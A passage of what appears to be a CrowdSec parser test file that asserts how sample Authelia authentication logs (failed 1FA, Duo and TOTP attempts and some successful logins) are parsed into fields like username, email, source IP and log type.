results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][3].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][4].Success == false results["s01-parse"]["LePresidente/authelia-logs"][5].Success == true results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Parsed["message"] == "time=\"2022-02-16T11:48:16+02:00\" level=error msg=\"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.\" method=POST path=/api/secondfactor/duo remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Parsed["timestamp"] == "2022-02-16T11:48:16+02:00" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Parsed["username"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Meta["user"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][5].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][6].Success == true results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Parsed["timestamp"] == "2022-02-16T11:48:16+02:00" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Parsed["email"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Parsed["message"] == "time=\"2022-02-16T11:48:16+02:00\" level=error msg=\"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.\" method=POST path=/api/secondfactor/duo remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][6].Evt.Meta["user"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][7].Success == false results["s01-parse"]["LePresidente/authelia-logs"][8].Success == true results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Parsed["message"] == "time=\"2022-02-16T12:24:19+02:00\" level=error msg=\"Unsuccessful TOTP authentication attempt by user 'realuser'\" method=POST path=/api/secondfactor/totp remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Parsed["timestamp"] == "2022-02-16T12:24:19+02:00" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Parsed["username"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Meta["user"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][8].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][9].Success == true results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Parsed["message"] == "time=\"2022-02-16T12:24:19+02:00\" level=error msg=\"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'\" method=POST path=/api/secondfactor/totp remote_ip=1.1.1.1 stack=\"longstacktrace\"" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Parsed["timestamp"] == "2022-02-16T12:24:19+02:00" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Parsed["email"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Meta["user"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Meta["log_type"] == "authelia_failed_clf_auth" results["s01-parse"]["LePresidente/authelia-logs"][9].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][10].Success == false results["s01-parse"]["LePresidente/authelia-logs"][11].Success == true results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful 1FA authentication attempt by user 'fakeuser': user not found\",\"path\":\"/api/firstfactor\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":177,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go\",\"Line\":52,\"Name\":\"FirstFactorPost.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:31:49+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Parsed["timestamp"] == "2022-02-16T12:31:49+02:00" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Parsed["username"] == "fakeuser" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][11].Evt.Meta["user"] == "fakeuser" results["s01-parse"]["LePresidente/authelia-logs"][12].Success == true results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Parsed["timestamp"] == "2022-02-16T12:31:49+02:00" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Parsed["email"] == "fakeuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful 1FA authentication attempt by user 'fakeuser@example.com': user not found\",\"path\":\"/api/firstfactor\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":177,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go\",\"Line\":52,\"Name\":\"FirstFactorPost.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:31:49+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Meta["user"] == "fakeuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][12].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][13].Success == true results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Parsed["timestamp"] == "2022-02-16T12:31:58+02:00" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Parsed["username"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful 1FA authentication attempt by user 'realuser'\",\"path\":\"/api/firstfactor\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":181,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go\",\"Line\":60,\"Name\":\"FirstFactorPost.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:31:58+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][13].Evt.Meta["user"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][14].Success == true results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Parsed["timestamp"] == "2022-02-16T12:31:58+02:00" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Parsed["email"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'\",\"path\":\"/api/firstfactor\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":181,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go\",\"Line\":60,\"Name\":\"FirstFactorPost.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:31:58+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][14].Evt.Meta["user"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][15].Success == true results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Parsed["remote_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Parsed["timestamp"] == "2022-03-30T14:24:18+02:00" results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Parsed["message"] == "{\"level\":\"debug\",\"method\":\"POST\",\"msg\":\"Successful 1FA authentication attempt made by user 'realuser'\",\"path\":\"/api/firstfactor\",\"remote_ip\":\"127.0.0.1\",\"time\":\"2022-03-30T14:24:18+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][15].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/authelia-logs"][16].Success == true results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.\",\"path\":\"/api/secondfactor/duo\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":177,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go\",\"Line\":74,\"Name\":\"SecondFactorDuoPost.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go\",\"Line\":15,\"Name\":\"RequireFirstFactor.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:32:13+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Parsed["timestamp"] == "2022-02-16T12:32:13+02:00" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Parsed["username"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][16].Evt.Meta["user"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][17].Success == true results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Parsed["email"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied.\",\"path\":\"/api/secondfactor/duo\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":177,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go\",\"Line\":74,\"Name\":\"SecondFactorDuoPost.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go\",\"Line\":15,\"Name\":\"RequireFirstFactor.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:32:13+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Parsed["timestamp"] == "2022-02-16T12:32:13+02:00" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][17].Evt.Meta["user"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][18].Success == true results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Parsed["timestamp"] == "2022-03-30T14:26:22+02:00" results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Parsed["message"] == "{\"level\":\"debug\",\"method\":\"POST\",\"msg\":\"Successful Duo authentication attempt made by user 'realuser'\",\"path\":\"/api/secondfactor/duo\",\"remote_ip\":\"127.0.0.1\",\"time\":\"2022-03-30T14:26:22+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Parsed["remote_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][18].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/authelia-logs"][19].Success == true results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful TOTP authentication attempt by user 'realuser'\",\"path\":\"/api/secondfactor/totp\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":181,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go\",\"Line\":41,\"Name\":\"SecondFactorTOTPPost\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go\",\"Line\":15,\"Name\":\"RequireFirstFactor.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:32:54+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Parsed["timestamp"] == "2022-02-16T12:32:54+02:00" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Parsed["username"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Meta["user"] == "realuser" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][19].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][20].Success == true results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Parsed["timestamp"] == "2022-02-16T12:32:54+02:00" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Parsed["email"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Parsed["message"] == "{\"level\":\"error\",\"method\":\"POST\",\"msg\":\"Unsuccessful TOTP authentication attempt by user 'realuser@example.com'\",\"path\":\"/api/secondfactor/totp\",\"remote_ip\":\"1.1.1.1\",\"stack\":[{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/response.go\",\"Line\":181,\"Name\":\"markAuthenticationAttempt\"},{\"File\":\"github.com/authelia/authelia/v4/internal/handlers/handler_sign_totp.go\",\"Line\":41,\"Name\":\"SecondFactorTOTPPost\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go\",\"Line\":15,\"Name\":\"RequireFirstFactor.func1\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go\",\"Line\":52,\"Name\":\"AutheliaMiddleware.func1.1\"},{\"File\":\"github.com/fasthttp/router@v1.4.5/router.go\",\"Line\":414,\"Name\":\"(*Router).Handler\"},{\"File\":\"github.com/authelia/authelia/v4/internal/middlewares/log_request.go\",\"Line\":14,\"Name\":\"LogRequestMiddleware.func1\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/server.go\",\"Line\":2298,\"Name\":\"(*Server).serveConn\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":223,\"Name\":\"(*workerPool).workerFunc\"},{\"File\":\"github.com/valyala/fasthttp@v1.32.0/workerpool.go\",\"Line\":195,\"Name\":\"(*workerPool).getCh.func1\"},{\"File\":\"runtime/asm_amd64.s\",\"Line\":1581,\"Name\":\"goexit\"}],\"time\":\"2022-02-16T12:32:54+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Meta["user"] == "realuser@example.com" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Meta["datasource_path"] == "authelia-logs.log" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Meta["log_type"] == "authelia_failed_json_auth" results["s01-parse"]["LePresidente/authelia-logs"][20].Evt.Meta["service"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][21].Success == true results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Parsed["remote_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Parsed["timestamp"] == "2022-03-30T14:26:22+02:00" results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Parsed["message"] == "{\"level\":\"debug\",\"method\":\"POST\",\"msg\":\"Successful Duo authentication attempt made by user 'realuser'\",\"path\":\"/api/secondfactor/duo\",\"remote_ip\":\"127.0.0.1\",\"time\":\"2022-03-30T14:26:22+02:00\"}" results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Parsed["program"] == "authelia" results["s01-parse"]["LePresidente/authelia-logs"][21].Evt.Meta["datasource_path"] == "authelia-logs.log" 